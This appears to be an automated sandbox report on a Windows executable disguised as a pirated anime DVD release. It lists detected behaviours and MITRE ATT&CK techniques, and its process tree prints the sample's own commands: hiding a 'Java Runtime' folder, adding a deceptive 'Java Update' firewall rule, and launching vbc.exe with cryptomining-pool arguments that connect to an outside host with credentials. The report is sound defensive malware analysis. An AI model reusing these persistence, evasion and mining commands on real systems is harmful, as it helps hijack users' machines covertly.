Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 04:41
General
- Target jaffacakes118_X.TV.Serie.Vol.4.German.2001.Complete.ANIME.PAL.DVDR.INTERNAL-PkZ.exe
- Size 11.0MB
- Sample260910-fbkqasfe57
- SHA256 752f70d72718a2724fbaf80151f5de6a5a50f65aea3b4b98740b0214f723f51d
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
- Adds policy Run key to start application 2 TTPs 2 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- System policy modification 1 TTPs 1 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_X.TV.Serie.Vol.4.German.2001.Complete.ANIME.PAL.DVDR.INTERNAL-PkZ.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_X.TV.Serie.Vol.4.German.2001.Complete.ANIME.PAL.DVDR.INTERNAL-PkZ.exe"1⤵
- UAC bypass
- Adds policy Run key to start application
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c attrib +s +h +r C:\ProgramData\Java Runtime2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +s +h +r C:\ProgramData\Java Runtime3⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh.exe" advfirewall firewall add rule name="Java Update" dir=in action=allowdescription="Windows Component" program="C:\ProgramData\Java Runtime\javupdate.exe" enable=yes2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Time Discovery
-
-
C:\ProgramData\Java Runtime\javupdate.exe"C:\ProgramData\Java Runtime\javupdate.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe -o http://eu.triplemining.com:8344 -u docteam_stone -p stone3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
3Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
3Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Replay Monitor
Loading Replay Monitor...
Downloads
javupdate.exe
memory/2428-8-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-12-0x000000001B790000-0x000000001B7D2000-memory.dmp
memory/2428-3-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-4-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-5-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-6-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-7-0x00007FF8CFDA5000-0x00007FF8CFDA6000-memory.dmp
memory/2428-0-0x00007FF8CFDA5000-0x00007FF8CFDA6000-memory.dmp
memory/2428-2-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-9-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-10-0x000000001B260000-0x000000001B268000-memory.dmp
memory/2428-13-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-1-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/2428-29-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/3484-31-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/3484-30-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/3484-32-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp
memory/3484-33-0x00007FF8CFAF0000-0x00007FF8D0491000-memory.dmp